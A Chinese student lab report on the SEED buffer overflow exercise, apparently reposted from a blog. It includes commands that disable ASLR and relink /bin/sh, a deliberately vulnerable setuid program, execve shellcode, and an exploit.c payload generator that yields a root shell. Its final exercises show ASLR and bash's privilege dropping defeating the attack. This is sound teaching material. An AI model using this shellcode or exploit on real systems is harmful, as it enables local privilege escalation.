Linux实验——缓冲区溢出漏洞实验

20125121

一、     实验描述

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况。这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段。这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回地址被重写。

二、     实验准备

实验楼提供的是64位Ubuntu linux(系统用户名shiyanlou,密码shiyanlou),而本次实验为了方便观察汇编语句,我们需要在32位环境下作操作,因此实验之前需要做一些准备。

1、输入命令安装一些用于编译32位C程序的东西:

sudo apt-get update

图1

sudo apt-get install lib32z1 libc6-dev-i386

图2

sudo apt-get install lib32readline-gplv2-dev

图3

2、输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用bash,使用exit退出Linux32

图4

三、          实验步骤

练习一:

1 初始设置

Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用以下命令关闭这一功能:

sudo sysctl -w kernel.randomize_va_space=0

图5

此外,为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:

sudo su

cd /bin

rm sh

ln -s zsh sh

exit

图6

2 shellcode

一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

观察以下代码:

#include <stdio.h>

int main( )

{

char *name[2];

name[0] = ‘‘/bin/sh’’;

name[1] = NULL;

execve(name[0], name, NULL);

}

本次实验的shellcode,就是刚才代码的汇编版本:

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3 漏洞程序

把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:

/* stack.c */

/* This program has a buffer overflow vulnerability. */

/* Our task is to exploit this vulnerability */

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

int bof(char *str)

{

char buffer[12];

/* The following statement has a buffer overflow problem */

strcpy(buffer, str);

return 1;

}

int main(int argc, char **argv)

{

char str[517];

FILE *badfile;

badfile = fopen("badfile", "r");

fread(str, sizeof(char), 517, badfile);

bof(str);

printf("Returned Properly\n");

return 1;

}

通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

编译该程序,并设置SET-UID。命令如下:

sudo su

gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

chmod u+s stack

exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于允许执行栈。

图7

4 攻击程序

我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。

把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

/* exploit.c */

/* A program that creates a file containing code for launching shell*/

#include <stdlib.h>

#include <stdio.h>

#include <string.h>

char shellcode[]=

"\x31\xc0"    //xorl %eax,%eax

"\x50"        //pushl %eax

"\x68""//sh"  //pushl $0x68732f2f

"\x68""/bin"  //pushl $0x6e69622f

"\x89\xe3"    //movl %esp,%ebx

"\x50"        //pushl %eax

"\x53"        //pushl %ebx

"\x89\xe1"    //movl %esp,%ecx

"\x99"        //cdq

"\xb0\x0b"    //movb $0x0b,%al

"\xcd\x80"    //int $0x80

;

void main(int argc, char **argv)

{

char buffer[517];

FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */

memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */

strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");

strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */

badfile = fopen("./badfile", "w");

fwrite(buffer, 517, 1, badfile);

fclose(badfile);

}

注意上面的代码,“\x??\x??\x??\x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。

现在我们要得到shellcode在内存中的地址,输入命令:

gdb stack

disass main

结果如图:

图8

接下来的操作:

图9

现在修改exploit.c文件!然后,编译exploit.c程序:

gcc -m32 -o exploit exploit.c

5 攻击结果

先运行攻击程序exploit,再运行漏洞程序stack,观察结果:

图10

可见,通过攻击,获得了root权限!

练习二:

通过命令”sudo sysctl -w kernel.randomize_va_space=2“打开系统的地址空间随机化机制,重复用exploit程序攻击stack程序,观察能否攻击成功,能否获得root权限。

图11

从图上可以看出,攻击失败,没有获得root权限。

练习三:

将/bin/sh重新指向/bin/bash(或/bin/dash),观察能否攻击成功,能否获得root权限。

图12

从图上可知,攻击失败,没有获得root权限。

四、     实验总结

1、    在实验准备阶段,使用sudo命令时,需要输入密码,当时无论怎么输入,在屏幕上都没有任何显示。后来在查阅资料后,明白之所以不显示任何字符,是因为保密的需要,防止他人根据显示的字符的数量猜测密码,虽然不显示任何字符,但是实际上是有输入的,只需要输入正确的密码在按回车,便可以完成密码的输入。

2、在实验阶段中,地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难。因此需要关闭地址的随机化,固定地址,从而使得地址的猜测变得更加简单。

3、许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。这项操作可以让程序保持特权。

4、攻击程序写一个badfile文件,将其中的一部分字节替换为之前计算好的字节,当漏洞程序读取badfile文件时,由于没有限制输入的长度,导致返回值被之前替换的字节覆盖,当程序返回时,跳转到了预先指定的地址,获得了root权限,完成了攻击。

5、练习二中,由于地址空间随机化被开启,导致之前计算的地址与实际的地址出现了不同,从而不能完成攻击。

6、练习三中,使用的bash程序,当shell运行时,没有root权限,此时,即便攻击程序攻击了漏洞程序,也无法获得root权限。

7、此次实验让我明白了堆栈地址与权限的作用,堆栈初始地址的随机化和放弃root权限对于防止黑客利用缓存区溢出进行攻击有非常重要的作用。另一方面,我们在编写程序的时候要注意对缓存区的处理,减少黑客的攻击方式。

转载于:https://www.cnblogs.com/20125121caoqin/p/4451397.html

Linux实验——缓冲区溢出漏洞实验相关推荐

  1. 20165232 缓冲区溢出漏洞实验

    缓冲区溢出漏洞实验 实验准备 实验环境需要32位的Linux系统,需要下载安装一些用于编译 32 位 C 程序的软件包,代码如下: $ sudo apt-get update$ sudo apt-ge ...

  2. 实验一缓冲区溢出漏洞实验

    一.实验描述 缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭, ...

  3. SEED实验系列:缓冲区溢出漏洞实验

    2019独角兽企业重金招聘Python工程师标准>>> 本文详细出自http://www.shiyanlou.com/courses/231,转载请注明出处. 一.实验描述 缓冲区溢 ...

  4. linux dns 漏洞,Linux报缓冲区溢出漏洞,恶意DNS响应就能实施远程攻击

    研究人员在Linux Systemd中发现一个严重漏洞,当系统试图在攻击者控制的DNS服务上查询主机名时,特制的恶意DNS响应能远程使"systemd-resolved'"程序崩溃 ...

  5. php crypt函数缓冲区溢出漏洞,简单缓冲区溢出漏洞攻击实验

    缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的情况.这一漏洞可以被恶意用户利用来改变程序的流控制,甚至执行代码的任意片段.这一漏洞的出现是由于数据缓冲器和返回地址的暂时关闭,溢出会引起返回 ...

  6. 缓冲区溢出漏洞攻击演示实验(CProxy 6.2缓冲区溢出漏洞)

    实验内容: 分析缓冲区溢出漏洞,利用CCProxy 6.2的这个缓冲区溢出漏洞,利用ping命令向其发送一个长的字符串,溢出局部变量,覆盖RET的位置,从而实现程序跳转到自己想要让其执行的程序上去. ...

  7. 实验8 缓冲区溢出攻击实验

    实验8 缓冲区溢出攻击实验 缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞.缓冲区是一段连续内存空间,具有固定的长度.缓冲区溢出是由编程错误引起的,当程序向缓冲区内写 ...

  8. 计算机系统(2) 实验四 缓冲区溢出攻击实验

    计算机系统(2) 实验四 缓冲区溢出攻击实验 一. 实验目标: 二.实验环境: 三.实验内容 四.实验步骤和结果 (一)返回到smoke (二)返回到fizz()并准备相应参数 (三)返回到bang( ...

  9. 【计算机系统】缓冲区溢出攻击实验

    github地址 一. 实验目标: 理解程序函数调用中参数传递机制: 掌握缓冲区溢出攻击方法: 进一步熟练掌握GDB调试工具和objdump反汇编工具. 二.实验环境: 计算机(Intel CPU) ...

最新文章

  1. python提高办公效率-用Python的这3个优点,让工作效率提升一倍
  2. ASP.Net 附加调试,aspnet_wp.exe进程不能启动解决办法 .
  3. gitbook使用及book.json详细配置
  4. 为什么拼多多黄峥和陆奇走到了一起?
  5. TP5模型修改器和读取器
  6. mysql 连接 监控_监控mysql上客户端的连接数
  7. 7月新的开始 - Axure学习05 - 元件库的创建
  8. Mac/Homebrew查找nginx安装目录和nginx.conf配置文件目录
  9. myeclipse10破解补丁激活方法
  10. Unknown custom element: <xxx> - did you register the component correctly? For recursive components
  11. 彩色星球科技旗下娱乐元宇宙产品“彩色世界”正式上线;GIGABYTE推出新一代AORUS专业电竞笔电 | 全球TMT...
  12. 你知道吗?计算机界也有诺贝尔奖!
  13. 什么是ASCII码?
  14. Tiger DAO VC:将你的风险投资变成DAO组织协同
  15. python -flask简介
  16. 你否有遇到Spring事务失效,花费太多时间找bug
  17. 高级语言第三次作业及答案
  18. Fitbit协助执法部门破获一起犯罪案件
  19. 第一次百度实习生电面
  20. 受邀出席线性资本投资者会议,闪马智能CEO彭垚分享AI赋能城市应用

热门文章

  1. [转载] 的士速递4
  2. 「2012-12-29」3x3手机锁屏矩阵图像的组合数量
  3. 收费企业邮箱的好处-外贸企业优选
  4. 简练软考知识点整理-公邀竞单询其
  5. halcon算子翻译——dev_set_window
  6. 13.python中web框架概念的引入。
  7. 堆排序实现(C++)
  8. linux分布式安装hadoop1.2
  9. 产品经理与交互设计师的对话——需求是如何变成产品原型的(转)
  10. android 11 版本更新内容,android 11怎么更新 android 11更新方法